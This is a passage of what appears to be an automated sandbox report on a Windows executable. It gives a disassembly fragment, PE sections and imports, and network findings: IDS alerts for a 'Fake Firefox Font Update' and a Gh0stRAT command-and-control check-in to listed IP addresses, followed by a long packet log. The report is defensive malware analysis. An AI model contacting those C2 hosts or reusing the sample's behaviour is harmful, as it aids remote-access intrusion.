je 00007F6598502858h
call 00007F6598503140h
int3
call 00007F659850315Ah
int3
jmp 00007F65985071DCh
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [00011207h]
dec eax
mov ecx, ebx
call dword ptr [000111F6h]
call dword ptr [00011200h]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [000111F4h]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call dword ptr [000111E8h]
test eax, eax
je 00007F6598502859h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [0001CC66h]
call 00007F65985028FEh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [0001CD4Dh], eax
dec eax
lea eax, dword ptr [esp+38h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x20404	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1d80000	0x7b3c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1d7d000	0x1014	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1d81400	0x52e8	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1d88000	0x68c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1ed30	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1ebf0	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x16000	0x2e8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x141c0	0x14200	d812099db8e3ff322b67291e9fa5edb2	False	0.565035423136646	data	6.501175330187441	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x16000	0xae1a	0xb000	4a2157c380226073aa015106722800a2	False	0.4475763494318182	Applesoft BASIC program data, first line number 2	4.8658682961913255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x21000	0x1d5bdc8	0x1d59800	928bf8515778e598b4499f7c3c3e8668	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1d7d000	0x1014	0x1200	0e7a858506d27593e5bdbe8ccb5bdc22	False	0.4353298611111111	data	4.558203365225224	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x1d7f000	0x1f4	0x200	61f3e2216eb1cfc643297a01421a8e5d	False	0.5234375	data	3.7040495756743925	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x1d80000	0x7b3c	0x7c00	2c4db6782672d0fe14ab7f9183eac3b7	False	0.5197517641129032	data	6.105152914417218	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1d88000	0x68c	0x800	e0fcb1359612e8d3393ad96952fde30f	False	0.50732421875	data	4.965713276955506	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1d802f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	English	United States	0.48138297872340424
RT_ICON	0x1d80760	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 2834 x 2834 px/m	English	United States	0.4278688524590164
RT_ICON	0x1d810e8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.6845667870036101
RT_ICON	0x1d81990	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	English	United States	0.33495850622406637
RT_ICON	0x1d83f38	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.6845667870036101
RT_ICON	0x1d847e0	0xdcb	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	0.8088360237892949
RT_ICON	0x1d855ac	0x1b13	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.8928004616938393
RT_RCDATA	0x1d870c0	0x68	data	English	United States	0.75
RT_RCDATA	0x1d87128	0x4c	data	English	United States	0.6710526315789473
RT_GROUP_ICON	0x1d87174	0x4c	data	English	United States	0.7763157894736842
RT_GROUP_ICON	0x1d871c0	0x68	data	English	United States	0.7692307692307693
RT_VERSION	0x1d87228	0x394	OpenPGP Secret Key	English	United States	0.46943231441048033
RT_MANIFEST	0x1d875bc	0x580	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (1348), with CRLF line terminators	English	United States	0.4403409090909091

Imports

DLL	Import
KERNEL32.dll	GetExitCodeProcess, CreateProcessW, FreeLibrary, GetModuleFileNameW, LoadResource, LockResource, WaitForSingleObject, FindResourceW, LoadLibraryW, WriteConsoleW, CreateFileW, GetLastError, CloseHandle, SizeofResource, GetFileAttributesW, GetConsoleMode, GetConsoleOutputCP, FlushFileBuffers, HeapReAlloc, HeapSize, SetFilePointerEx, GetProcessHeap, LCMapStringW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RtlUnwindEx, RtlPcToFileHeader, RaiseException, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, HeapAlloc, GetFileType, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, VirtualAlloc
USER32.dll	MessageBoxW, wsprintfW
ADVAPI32.dll	RegOpenKeyExW, RegCloseKey, RegQueryValueExW
SHELL32.dll	ShellExecuteExW
SHLWAPI.dll	PathCanonicalizeW, PathRemoveFileSpecW, PathCombineW
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-15T04:22:36.164821+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	39.103.20.17	443	TCP
2025-01-15T04:22:37.998096+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	39.103.20.17	443	TCP
2025-01-15T04:22:40.324236+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	39.103.20.17	443	TCP
2025-01-15T04:22:42.129987+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	39.103.20.17	443	TCP
2025-01-15T04:22:43.723511+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	39.103.20.17	443	TCP
2025-01-15T04:22:51.870231+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	64325	39.103.20.17	443	TCP
2025-01-15T04:22:53.767716+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	64326	39.103.20.17	443	TCP
2025-01-15T04:23:44.685652+0100	2852901	ETPRO MALWARE Backdoor/Win.Gh0stRAT CnC Checkin	1	192.168.2.4	64570	8.217.59.222	8917	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 04:22:34.887175083 CET	49736	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:34.887223005 CET	443	49736	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:34.887283087 CET	49736	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:34.898226023 CET	49736	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:34.898243904 CET	443	49736	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:36.164709091 CET	443	49736	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:36.164820910 CET	49736	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:36.165363073 CET	443	49736	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:36.165431023 CET	49736	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:36.169584990 CET	49736	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:36.169612885 CET	443	49736	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:36.169855118 CET	443	49736	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:36.212878942 CET	49736	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:36.255352974 CET	443	49736	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:36.605339050 CET	443	49736	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:36.605426073 CET	443	49736	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:36.605547905 CET	49736	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:36.605864048 CET	49736	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:36.605906010 CET	443	49736	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:36.605933905 CET	49736	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:36.605947971 CET	443	49736	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:36.763853073 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:36.763942003 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:36.764062881 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:36.764377117 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:36.764414072 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:37.997905016 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:37.998095989 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:37.999072075 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:37.999134064 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.000895977 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.000926018 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.001308918 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.002218008 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.043340921 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.346950054 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.346978903 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.347136021 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.347155094 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.347208023 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.347249031 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.347932100 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.348107100 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.348169088 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.348236084 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.568254948 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.568545103 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.568691969 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.568742990 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.568944931 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.568944931 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.569009066 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.569533110 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.569710016 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.569772005 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.569833040 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.570394993 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.570452929 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.571152925 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.571212053 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.571213961 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.571229935 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.571264982 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.620162010 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.802534103 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.802640915 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.802675962 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.802826881 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.802826881 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.802826881 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.802894115 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.803127050 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.803178072 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.803303957 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.803303957 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.803396940 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.804027081 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.804157972 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.804227114 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.804286003 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.804884911 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.804928064 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.804954052 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.804975986 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.805006027 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.805011034 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.805023909 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.805037975 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.805083036 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.805746078 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.805783033 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.805825949 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.805825949 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.805891037 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.805934906 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.806619883 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.806663036 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.806680918 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.806696892 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.806732893 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.807379007 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.807440996 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:38.807457924 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:38.807509899 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:39.032603025 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:39.032675982 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:39.032711029 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:39.032732964 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:39.032794952 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:39.032836914 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:39.032926083 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:39.032926083 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:39.032955885 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:39.033018112 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:39.033179998 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:39.033221006 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:39.033262014 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:39.033358097 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:39.033359051 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:39.033359051 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:39.033425093 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:39.033770084 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:39.033832073 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:39.033833027 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:39.033858061 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:39.033898115 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:39.033977032 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:39.034027100 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:39.035459042 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:39.035494089 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:39.035522938 CET	49737	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:39.035537004 CET	443	49737	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:39.083056927 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:39.083111048 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:39.083187103 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:39.083460093 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:39.083472967 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.324151039 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.324235916 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.324882030 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.324947119 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.330586910 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.330617905 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.330898046 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.346405983 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.387406111 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.678005934 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.678039074 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.678097963 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.678138971 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.678189993 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.678563118 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.678627014 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.681698084 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.681757927 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.683579922 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.683646917 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.764841080 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.764885902 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.764914989 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.764945984 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.764971972 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.764991999 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.765131950 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.765189886 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.765538931 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.765590906 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.766352892 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.766407013 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.768425941 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.768481970 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.769157887 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.769211054 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.769412994 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.769467115 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.770514011 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.770569086 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.772537947 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.772595882 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.851589918 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.851634026 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.851655006 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.851669073 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.851696014 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.851696968 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.851711988 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.851722956 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.851748943 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.851766109 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.851809025 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.851820946 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.851866007 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.852016926 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.852050066 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.852061987 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.852072954 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.852107048 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.852125883 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.852130890 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.852140903 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.852171898 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.852190018 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.852236032 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.852931976 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.852983952 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.855006933 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.855067968 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.855117083 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.855161905 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.855165958 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.855176926 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.855206013 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.855231047 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.856056929 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.856102943 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.856945038 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.856998920 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.857001066 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.857011080 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.857040882 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.859333038 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.859373093 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.859381914 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.859394073 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.859422922 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.859442949 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.859452009 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.859507084 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.859560013 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.860156059 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.860192060 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.860215902 CET	49738	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.860229969 CET	443	49738	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.882457018 CET	49739	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.882550001 CET	443	49739	39.103.20.17	192.168.2.4
Jan 15, 2025 04:22:40.882658005 CET	49739	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.883017063 CET	49739	443	192.168.2.4	39.103.20.17
Jan 15, 2025 04:22:40.883085966 CET	443	49739	39.103.20.17	192.168.2.4
